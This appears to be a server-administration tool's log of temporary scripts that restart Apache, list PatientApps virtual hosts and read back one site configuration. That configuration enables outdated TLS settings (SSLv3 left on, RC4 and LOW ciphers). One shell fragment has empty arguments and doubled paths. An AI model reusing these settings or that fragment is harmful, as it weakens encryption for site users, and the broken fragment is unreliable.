</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientappsinc_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf= 1'
fi


2026-01-14 06:01:14: 

chmod 755 /tmp/pkp271603; /tmp/pkp271603; rm /tmp/pkp271603

2026-01-14 06:01:14: 




2026-01-14 06:01:14: 

PUT: /tmp/pkp210473

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-14 06:01:14: 

chmod 755 /tmp/pkp210473; /tmp/pkp210473; rm /tmp/pkp210473

2026-01-14 06:01:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:01:14: Establishing a connection
2026-01-14 06:01:14: 

PUT: /tmp/pkp149851

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-14 06:01:14: 

chmod 755 /tmp/pkp149851; /tmp/pkp149851; rm /tmp/pkp149851

2026-01-14 06:01:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:01:14: 

PUT: /tmp/pkp710168

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientappsinc_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:01:14: 

chmod 755 /tmp/pkp710168; /tmp/pkp710168; rm /tmp/pkp710168

2026-01-14 06:01:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf	1906
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
